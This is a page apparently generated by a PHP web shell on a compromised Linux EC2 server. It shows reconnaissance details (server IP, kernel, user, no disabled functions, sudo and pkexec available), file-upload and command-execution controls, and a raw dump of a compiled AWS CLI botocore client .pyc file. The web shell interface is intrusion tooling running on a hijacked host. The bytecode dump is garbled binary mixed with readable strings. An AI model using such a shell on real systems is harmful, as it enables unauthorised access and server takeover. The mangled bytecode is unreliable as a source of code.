403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.55
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.7
System : Linux ip-172-31-69-123.ec2.internal 6.1.177-224.371.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 20:28:29 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/awscli/botocore/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/awscli/botocore/__pycache__/client.cpython-39.pyc
a

wA�i���@s�ddlZddlZddlmZmZmZddlmZddlm	Z	m
Z
ddlmZddl
mZddlmZddlmZdd	lmZdd
lmZmZmZddlmZmZddlmZmZmZm Z m!Z!m"Z"dd
l#m$Z$ddl%m&Z&ddl'm(Z(m)Z)ddl*m+Z+ddl,m-Z-ddl.m/Z/m0Z0ddl1m2Z2m3Z3ddl4m5Z5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;e�<e=�Z>e$�Z?Gdd�d�Z@Gdd�d�ZAGdd�d�ZBGdd�d�ZCdd�ZDdS)�N)�UNSIGNED�waiter�
xform_name)�ClientArgsCreator)�AUTH_TYPE_MAPS�resolve_auth_type)�prepare_request_dict)�maybe_compress_request)�Config)�with_current_context)�RefreshableCredentials)�EndpointDiscoveryHandler�EndpointDiscoveryManager�,block_endpoint_discovery_required_operations)�ClientMethodDocstring�PaginatorDocstring)�ClientError�DataNotFoundError�*InvalidEndpointDiscoveryConfigurationError�OperationNotPageableError�UnknownServiceError�UnknownSignatureVersionError)�get_global_history_recorder)�first_non_none_response)�apply_request_checksum�resolve_checksum_context)�ServiceModel)�	Paginator)�adaptive�standard)�UserAgentString�register_feature_id)�CachedProperty�EventbridgeSignerSetter�S3ControlArnParamHandlerv2�S3ExpressIdentityResolver�S3RegionRedirectorv2�ensure_boolean�get_service_module_namec@s�eZdZdZd6dd�Zd7dd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zd8d d!�Zd"d#�Zd$d%�Zd9d&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Zd0d1�Zd2d3�Zd4d5�ZdS):�
ClientCreatorz%Creates client objects for a service.Nc

Cs:||_||_||_||_||_||_||_||_|	|_dS�N)	�_loader�_endpoint_resolver�_user_agent�_event_emitter�_response_parser_factory�_exceptions_factory�
_config_store�_user_agent_creator�_auth_token_resolver)
�self�loader�endpoint_resolver�
user_agent�
event_emitterZresponse_parser_factory�exceptions_factory�config_store�user_agent_creatorZauth_token_resolver�r<�:/usr/lib/python3.9/site-packages/awscli/botocore/client.py�__init__HszClientCreator.__init__Tc
CsX|jjd|d�}
t|
|d�}|�|�}z|�|�}|j�d�}
Wn&tyfd}d}
t�	d|�Yn0|�
||�}|�||�\}}|j�
d�}r�t|�}n|j�
d�}t|j|||j�
d�|j|d	�}|�|j�}r�|}	|�||||||||||	||
�}|fi|��}|�|�|�|||�|j|d
�|�|�|j|d
�|�|||�|S)Nzchoose-service-name��service_name��defaultZ
partitionszSNo endpoints ruleset found for service %s, falling back to legacy endpoint routing.�authZsignatureVersionZsigningName)�service_signing_namer:�service_signature_version��client)r.�emitr�_load_service_model�_load_service_endpoints_rulesetr+Z	load_datar�logger�info�_create_client_class�_normalize_fips_region�metadata�getr�ClientEndpointBridger,r1�_evaluate_client_specific_token�signing_name�_get_client_args�_register_retries�_register_s3_events�_register_s3express_events�_register_s3_control_events�_register_importexport_events�_register_endpoint_discovery)r4r@�region_name�	is_secure�endpoint_url�verify�credentials�
scoped_config�
client_config�
auth_token�	responses�
service_model�endpoints_ruleset_data�partition_data�clsrCrE�endpoint_bridge�tokenZclient_argsZservice_clientr<r<r=�
create_clientbs|�
��
�
�
���

�zClientCreator.create_clientcCs|�|�}|�||�Sr*)rIrM)r4r@rdr<r<r=�create_client_class�s
z!ClientCreator.create_client_classc	Csd|�|�}|�|�}||d<tg}|j��}|jjd|��||d�t|�}tt	|�t
|�|�}|S)N�_PY_TO_OP_NAMEzcreating-client-class.)�class_attributesZbase_classes)�_create_methods�_create_name_mapping�
BaseClient�
service_id�	hyphenizer.rHr(�type�str�tuple)	r4r@rdrmZpy_name_to_operation_name�basesrq�
class_namergr<r<r=rM�s


�z"ClientCreator._create_client_classcCsf|dur^|�dd��dd�}||kr^tdd�}|r>|�|�}n|}t�d|�d|�d��|}||fS)	Nzfips-�z-fipsT)�use_fips_endpointztransforming region from z to zb and setting use_fips_endpoint to true. client should not be configured with a fips psuedo region.)�replacer
�mergerKZwarning)r4r[raZnormalized_region_nameZconfig_use_fips_endpointr<r<r=rN�s �
��z$ClientCreator._normalize_fips_regioncCs|j�|d�}t||d�}|S)Nz	service-2r?)r+�load_service_modelr)r4r@Z
json_modelrdr<r<r=rI�sz!ClientCreator._load_service_modelcCs|j�|d�S)Nzendpoint-rule-set-1)r+r|)r4r@r<r<r=rJ�s�z-ClientCreator._load_service_endpoints_rulesetcCsZ|jjjd}|dkr"|�|�n"|dkr@|�|�|�|�ndStd|�����dS)N�moderrZRETRY_MODE_)�meta�config�retries�_register_v2_standard_retries�_register_v2_adaptive_retriesr!�upper)r4rGZ
retry_moder<r<r=rU�s
zClientCreator._register_retriescCs<|jjj�d�}d|i}|dur(||d<tjfi|��dS)N�max_attemptsrG)r~rr�rPr�register_retry_handler)r4rGr��kwargsr<r<r=r��s
z+ClientCreator._register_v2_standard_retriescCst�|�dSr*)rr��r4rGr<r<r=r��sz+ClientCreator._register_v2_adaptive_retriesc
Cs�|durdS|jjjdurdS|jj}|jjj��}d}|rN|jdurN|j}n|jr`|j�d�}|�	|�}|r�|�
||�r�|du}t||d�}t|�}	|	�
||�n|�
dt�dS)NF�endpoint_discovery_enabledT)Zalways_discoverzbefore-parameter-build)r~rdZendpoint_discovery_operation�eventsrqrrr�r1�get_config_variable�$_normalize_endpoint_discovery_config�_requires_endpoint_discoveryrr
�registerr)
r4rGr]rr�rq�enabledZdiscoverZmanager�handlerr<r<r=rZ�s2�
��z*ClientCreator._register_endpoint_discoverycCsPt|t�r4|����}|dkr"|S|dvrBt|�Snt|t�rB|St|d��dS)z?Config must either be a boolean-string or string-literal 'auto'�auto)�trueZfalse)Zconfig_valueN)�
isinstancert�lower�stripr'�boolr)r4r�r<r<r=r�s


z2ClientCreator._normalize_endpoint_discovery_configcCs|dkr|jjjS|S)Nr�)r~rdZendpoint_discovery_required)r4rGr�r<r<r=r�'s
z*ClientCreator._requires_endpoint_discoverycCs4|jjjdkrdSt|j|jj|d��|jj�dS)Nr�)r6�regionr])r~rdr@r#r,r[r�r�)r4rGrhr]r<r<r=�_register_eventbridge_events,s��z*ClientCreator._register_eventbridge_eventscCs$|jjjdkrdSt|t���dS�N�s3)r~rdr@r%rr��r4rGrhr]rar`r<r<r=rW7sz(ClientCreator._register_s3express_eventscCs$|jjjdkrdStd|���dSr�)r~rdr@r&r�)r4rGrar`r<r<r=rVCsz!ClientCreator._register_s3_eventscCs&|jjjdkrdSt��|jj�dS)NZ	s3control)r~rdr@r$r�r�r�r<r<r=rXHsz)ClientCreator._register_s3_control_eventscCs&|jjjdkrdS|�|j||�dS)N�importexport)r~rdr@�#_set_importexport_signature_versionr�r<r<r=rYMs
�z+ClientCreator._register_importexport_eventscCs,td||�}|durdS|j�d|j�dS)Nr�zchoose-signer.importexport)�!_get_configured_signature_versionr�r��_default_signer_to_sigv4)r4Zclient_metarar`Zconfigured_signature_versionr<r<r=r�[s��z1ClientCreator._set_importexport_signature_versioncKsdS)N�v4r<)r4�signature_versionr�r<r<r=r�nsz&ClientCreator._default_signer_to_sigv4c
CsDt|j|j|j|j|j|j|jd�}
|
�|||||||||	|
||�S)N)r:r;)	rr.r-r/r+r0r1r2Zget_client_args)r4rdr[r\r]r^r_r`rarhrbrerfZargs_creatorr<r<r=rTqs.�	�zClientCreator._get_client_argscCs.i}|jD]}t|�}|�|||�||<q
|Sr*)�operation_namesr�_create_api_method)r4rdZop_dict�operation_name�py_operation_namer<r<r=rn�s
�
zClientCreator._create_methodscCs$i}|jD]}t|�}|||<q
|Sr*)r�r)r4rd�mappingr�r�r<r<r=ro�s


z"ClientCreator._create_name_mappingcsJ��fdd�}t��|_|���}t|�|j|jd���dd�}||_|S)Ncs|rt��d���|��|�S)Nz"() only accepts keyword arguments.)�	TypeError�_make_api_call)r4�argsr��r�r�r<r=�	_api_call�s
�z3ClientCreator._create_api_method.<locals>._api_callzresponse = client.F)�operation_modelZmethod_namer8Zmethod_descriptionZexample_prefix�include_signature)rt�__name__r�rr.Z
documentation�__doc__)r4r�r�rdr�r�Z	docstringr<r�r=r��s

�z ClientCreator._create_api_methodcCs|j}|r|sdS||d�S)N)rS)r3)r4rSZresolverr<r<r=rR�sz-ClientCreator._evaluate_client_specific_token)NNNNN)TNNNNNN)NNNN)NNNN)r��
__module__�__qualname__r�r>rjrkrMrNrIrJrUr�r�rZr�r�r�rWrVrXrYr�r�rTrnror�rRr<r<r<r=r)Es\�
�
O
�
�
'		r)c@s�eZdZdZdZddgZd#dd�Zd$d	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�ZdS)%rQa�Bridges endpoint data and client creation

    This class handles taking out the relevant arguments from the endpoint
    resolver and determining which values to use, taking into account any
    client configuration options and scope configuration options.

    This class also handles determining what, if any, region to use if no
    explicit region setting is provided. For example, Amazon S3 client will
    utilize "us-east-1" by default if no region can be resolved.z {service}.{region}.amazonaws.comr��
s3-controlNcCs4||_||_||_||_|p |j|_||_||_dSr*)rDr6r`ra�DEFAULT_ENDPOINT�default_endpointr:rE)r4r6r`rar�rDr:rEr<r<r=r>�s
zClientEndpointBridge.__init__TcCsx|�||�}|�|�}|�d�}|jj||||d�}|sN|jj||d||d�}|rd|�|||||�S|�||||�SdS)Nry)�use_dualstack_endpointryZaws)Zpartition_namer�ry)�_check_default_region�_resolve_use_dualstack_endpoint�$_resolve_endpoint_variant_config_varr6�construct_endpoint�_create_endpoint�_assume_endpoint)r4r@r[r]r\r�ry�resolvedr<r<r=�resolve�s8���	�
��zClientEndpointBridge.resolvecCs|jjSr*)r6Zuses_builtin_data�r4r<r<r=�resolver_uses_builtin_datasz/ClientEndpointBridge.resolver_uses_builtin_datacCs*|dur|S|jr&|jjdur&|jjSdSr*)rar[)r4r@r[r<r<r=r�sz*ClientEndpointBridge._check_default_regionc		Csf|�|||�\}}|dur6|�|�d�||�dg��}|�||�}|�||�}|j|||||||d�S)N�hostnameZ	protocols)r@r[�signing_regionrSr]rOr�)�_pick_region_values�	_make_urlrP�_resolve_signature_version�_resolve_signing_name�_create_result)	r4r�r@r[r]r\r�r�rSr<r<r=r�"s,�
���z%ClientEndpointBridge._create_endpointcCs@|j}d}|r&t||�dur&t||�S|jdur<|j�|�}|S)NF)ra�getattrr:r�)r4Z
config_varraZ
config_valr<r<r=r�<s

z9ClientEndpointBridge._resolve_endpoint_variant_config_varcCs |�|�}|dur|S|�d�S)Nr�)�_is_s3_dualstack_moder�)r4r@Zs3_dualstack_moder<r<r=r�Hs
�z4ClientEndpointBridge._resolve_use_dualstack_endpointcCsh||jvrdS|j}|dur:|jdur:d|jvr:|jdS|jdurd|j�di��d�}|dvrddSdS)Nr�r�)T�Truer�T)�_DUALSTACK_CUSTOMIZED_SERVICESrar�r`rP)r4r@rar�r<r<r=r�Ps 
���

�z*ClientEndpointBridge._is_s3_dualstack_modec	Csr|dur*|jj||d�}|�||ddg�}t�d|||�|�|ddgi�}|j|id�}|j||||||id�S)	N)�servicer��http�httpsz#Assuming an endpoint for %s, %s: %s�signatureVersionsr�)r�)r@r[r�rSr�r]rO)r��formatr�rK�debugr�r�r�)r4r@r[r]r\r�r�rSr<r<r=r�fs4�
��
��z%ClientEndpointBridge._assume_endpointcCs|||||||d�S)N)r@r[r�rSr]r�rOr<)r4r@r[r�rSr]r�rOr<r<r=r��s�z#ClientEndpointBridge._create_resultcCs$|rd|vrd}nd}|�d|��S)Nr�r�z://r<)r4r�r\Zsupported_protocols�schemer<r<r=r��szClientEndpointBridge._make_urlcCs0d|vr d|dvr |ddS|jr,|jS|S)N�credentialScoper�)rD)r4r@r�r<r<r=r��s�
�z*ClientEndpointBridge._resolve_signing_namecCs@|}|dur8|d}|}d|vr8d|dvr8|dd}||fS)NZendpointNamer�r�r<)r4r�r[r]r�r<r<r=r��s�
�z(ClientEndpointBridge._pick_region_valuescCs|t||j|j�}|dur|S|dvr(dS|jdur<|jg}n|�dg�}d|vrTdS|D]}|tvrX|SqXt|d��dS)N)r�r�Zs3v4r�r�)r�)r�rar`rErPrr)r4r@r�Zconfigured_versionZpotential_versionsZknownr<r<r=r��s$
�


�z/ClientEndpointBridge._resolve_signature_version)NNNNNN)NNT)r�r�r�r�r�r�r>r�r�r�r�r�r�r�r�r�r�r�r�r�r<r<r<r=rQ�s0
�
�
' 
rQc@s�eZdZiZd$dd�Zdd�Zdd�Zedd	��Ze	�d
d��Z
dd
�Zd%dd�Zdd�Z
d&dd�Zdd�Zdd�Zdd�Zdd�Zedd��Zed d!��Zd"d#�ZdS)'rpNc

Cs�||_||_||_||_||_i|_||_||_t||j|j	||j
|	�|_|
|_d|_
||_|jdurxt���|j�|_|��dSr*)�_serializer�	_endpoint�_ruleset_resolverZ_response_parser�_request_signer�_cacher+�_client_config�
ClientMeta�hostrlr~r0�_exceptionsr2r Zfrom_environmentZwith_client_config�_register_handlers)
r4Z
serializerZendpointZresponse_parserr8�request_signerrdr5ra�	partitionr9Zendpoint_ruleset_resolverr;r<r<r=r>�s2�
��zBaseClient.__init__cCsXd|jj���d|��}|jjj||d�\}}|dur:|Std|jj�d|�d���dS)Nzgetattr.�.rF�'z' object has no attribute ')	�_service_modelrqrrr~r��emit_until_response�AttributeError�	__class__r�)r4�item�
event_namer��event_responser<r<r=�__getattr__s��
�zBaseClient.__getattr__cCsF|jjj��}|jj�d|��|jj�|jj�d|��|j	j
�dS)Nzrequest-created.)r~rdrqrrr�r�r�r�Z
register_lastr2Z&rebuild_and_replace_user_agent_handler)r4rqr<r<r=r�(s��zBaseClient._register_handlerscCs|jjSr*)r~rdr�r<r<r=r�5szBaseClient._service_modelcCs�|j�|�}|jj}t�d|||d��|jr<t�d||�|jj	|jj
|j|j|j
|jj�d�d�}|j|||d�}|�|||�\}}}|r�||d<|j|||||d�}	t|	||�|jj��}
|jjjd	|
�d
|��||	|j|d�\}}|dur�|\}
}n*t|jj
|	|�t|	�|�||	|�\}
}|jjjd|
�d
|��|
|||d
�|
jdk�r�|�di��d�}|j�|�}|||��n|SdS)NZAPI_CALL)r�Z	operation�paramszWarning: %s.%s() is deprecatedrC)Z
client_regionra�has_streaming_input�	auth_type�unsigned_payloadZauth_options)�
api_paramsr��context�endpoint_properties)r�r�r]r��headerszbefore-call.r�)�modelr�r�r�zafter-call.)Z
http_response�parsedr�r�i,�ErrorZCode) r�r�r@�history_recorder�recordZ
deprecatedrKr�r~r[rr�Zresolved_auth_typer�rOrP�_emit_api_params�_resolve_endpoint_ruleset�_convert_to_request_dictrrqrrr�r�r�r	r�
_make_requestrHZstatus_code�
exceptionsZ	from_code)r4r�r�r�r@�request_contextr]�additional_headers�
properties�request_dictrqr�r�r�Zparsed_responseZ
error_codeZerror_classr<r<r=r�9s�����	�
����


���zBaseClient._make_api_callc
Csfz|j�||�WSty`}z8|jjjd|jj���d|j	��||d��WYd}~n
d}~00dS)Nzafter-call-error.r�)�	exceptionr�)
r�Zmake_request�	Exceptionr~r�rHr�rqrr�name)r4r�r�r��er<r<r=r��s�zBaseClient._make_requestTc	Cs`|j�||�}|jjs"|�dd�|dur8|d�|�|rH|j��}nd}t||||d�|S)NZhost_prefixr�)r]r7r�)	r�Zserialize_to_requestr�Zinject_host_prefix�pop�updater2Z	to_stringr)	r4r�r�r]r�r�Zset_user_agent_headerr�r7r<r<r=r��s"	��z#BaseClient._convert_to_request_dictcCsh|j}|jj��}|jjjd|�d|��|||d�}t||d�}d}|jjj|j||d�|||d�|S)Nzprovide-client-params.r�)r�r�r�rAz4before-parameter-build.{service_id}.{operation_name})rqr�)	rr�rqrrr~r�rHrr�)r4r�r�r�r�rqrcr�r<r<r=r��s&���zBaseClient._emit_api_paramsFc
Cs�|jdur|jj}i}i}n�|jj|||d�}|j}|j}|j}|j�d�}	|	dur�|j�|	�}
|
\}}||d<d|vr�|r�|d=d|vr�|d�	|�n||d<|||fS)a�Returns endpoint URL and list of additional headers returned from
        EndpointRulesetResolver for the given operation and params. If the
        ruleset resolver is not available, for example because the service has
        no endpoints ruleset file, the legacy endpoint resolver's value is
        returned.

        Use ignore_signing_region for generating presigned URLs or any other
        situtation where the signing region information from the ruleset
        resolver should be ignored.

        Returns tuple of URL and headers dictionary. Additionally, the
        request_context dict is modified in place with any signing information
        returned from the ruleset resolver.
        N)r�Z	call_argsr�ZauthSchemesr�r�Zsigning)
r�r~r]r��urlr�r�rPZauth_schemes_to_signing_ctxr)
r4r�r�r�Zignore_signing_regionr]r�r�Z
endpoint_infoZauth_schemesZ	auth_infor�Zsigning_contextr<r<r=r��s2
��z$BaseClient._resolve_endpoint_rulesetc	Cs�|�|�st|d��n�|j|}dd�}|jd|}t||jj|jj|dd�|_t	t
|jj��d|���}t|tfd|i�}|j
�|�}|t||�||�}|Sd	S)
aCreate a paginator for an operation.

        :type operation_name: string
        :param operation_name: The operation name.  This is the same name
            as the method name on the client.  For example, if the
            method name is ``create_foo``, and you'd normally invoke the
            operation as ``client.create_foo(**kwargs)``, if the
            ``create_foo`` operation can be paginated, you can use the
            call ``client.get_paginator("create_foo")``.

        :raise OperationNotPageableError: Raised if the operation is not
            pageable.  You can use the ``client.can_paginate`` method to
            check if an operation is pageable.

        :rtype: L{botocore.paginate.Paginator}
        :return: A paginator object.

        )r�c[stj|fi|��Sr*)r�paginate)r4r�r<r<r=r!sz*BaseClient.get_paginator.<locals>.paginate�page_configF)Zpaginator_namer8rd�paginator_configr�z.Paginator.rN)�can_paginaterrlr�rr~r�rdr�rtr(rsrr�r�r�)	r4r��actual_operation_namerrZpaginator_class_nameZdocumented_paginator_clsr�Z	paginatorr<r<r=�
get_paginators:

��	����zBaseClient.get_paginatorcCsdd|jvrLz$|j�|jjd�d}||jd<WntyJi|jd<Yn0|j|}||jdvS)aMCheck if an operation can be paginated.

        :type operation_name: string
        :param operation_name: The operation name.  This is the same name
            as the method name on the client.  For example, if the
            method name is ``create_foo``, and you'd normally invoke the
            operation as ``client.create_foo(**kwargs)``, if the
            ``create_foo`` operation can be paginated, you can use the
            call ``client.get_paginator("create_foo")``.

        :return: ``True`` if the operation can be paginated,
            ``False`` otherwise.

        rzpaginators-1Z
pagination)r�r+r|r�r@rrl)r4r�rr	r<r<r=rDs
��
zBaseClient.can_paginatecCsRd|jvrHz |j�|jjd�}||jd<WntyFi|jd<Yn0|jdS)N�
waiter_configz	waiters-2)r�r+r|r�r@r)r4rr<r<r=�_get_waiter_config^s
�zBaseClient._get_waiter_configcCsh|��}|std|����t�|�}i}|jD]}||t|�<q.||vrVtd|����t�||||�S)aGReturns an object that can wait for some condition.

        :type waiter_name: str
        :param waiter_name: The name of the waiter to get. See the waiters
            section of the service docs for a list of available waiters.

        :returns: The specified waiter object.
        :rtype: botocore.waiter.Waiter
        zWaiter does not exist: )r�
ValueErrorr�WaiterModel�waiter_namesrZcreate_waiter_with_client)r4Zwaiter_namerr�r�rr<r<r=�
get_waiteris



�zBaseClient.get_waitercCs*|��}|sgSt�|�}dd�|jD�S)z(Returns a list of all available waiters.cSsg|]}t|��qSr<)r)�.0rr<r<r=�
<listcomp>��z+BaseClient.waiter_names.<locals>.<listcomp>)rrrr)r4rr�r<r<r=r�s

zBaseClient.waiter_namescCs|jdur|��|_|jSr*)r��_load_exceptionsr�r<r<r=r��s

zBaseClient.exceptionscCs|j�|j�Sr*)r0Zcreate_client_exceptionsr�r�r<r<r=r�s�zBaseClient._load_exceptions)N)NNT)F)r�r�r�rlr>r�r��propertyr�rr�r�r�r�r�r
rrrr"rr�rr<r<r<r=rp�s4�
*


U�
!�
4>


rpc@s`eZdZdZdd�Zedd��Zedd��Zedd	��Zed
d��Z	edd
��Z
edd��ZdS)r�a~Holds additional client methods.

    This class holds additional information for clients.  It exists for
    two reasons:

        * To give advanced functionality to clients
        * To namespace additional client attributes from the operation
          names which are mapped to methods at runtime.  This avoids
          ever running into collisions with operation names.

    cCs(||_||_||_||_||_||_dSr*)r�r��
_endpoint_urlr��_method_to_api_mapping�
_partition)r4r�rar]rd�method_to_api_mappingr�r<r<r=r>�s	zClientMeta.__init__cCs|jSr*)r�r�r<r<r=rd�szClientMeta.service_modelcCs|jjSr*)r�r[r�r<r<r=r[�szClientMeta.region_namecCs|jSr*)rr�r<r<r=r]�szClientMeta.endpoint_urlcCs|jSr*)r�r�r<r<r=r�szClientMeta.configcCs|jSr*)rr�r<r<r=r�sz ClientMeta.method_to_api_mappingcCs|jSr*)rr�r<r<r=r��szClientMeta.partitionN)r�r�r�r�r>rrdr[r]rrr�r<r<r<r=r��s




r�cCs\|r|jdur|jS|durX|�|�}|durXt|t�rX|�d�}|rXt�d||�|SdS)z�
    Gets the manually configured signature version.

    :returns: the customer configured signature version, or None if no
        signature version was configured.
    Nr�zWSwitching signature version for service %s to version %s based on config file override.)r�rPr��dictrKr�)r@rar`Zservice_config�versionr<r<r=r��s


�r�)E�	functoolsZloggingZbotocorerrrZ
botocore.argsrZ
botocore.authrrZbotocore.awsrequestrZbotocore.compressr	Zbotocore.configr
Zbotocore.contextrZbotocore.credentialsrZbotocore.discoveryr
rrZbotocore.docs.docstringrrZbotocore.exceptionsrrrrrrZbotocore.historyrZbotocore.hooksrZbotocore.httpchecksumrrZbotocore.modelrZbotocore.paginaterZbotocore.retriesrrZbotocore.useragentr r!Zbotocore.utilsr"r#r$r%r&r'r(Z	getLoggerr�rKr�r)rQrpr�r�r<r<r<r=�<module>
sF $

56

Youez - 2016 - github.com/yon3zu
LinuXploit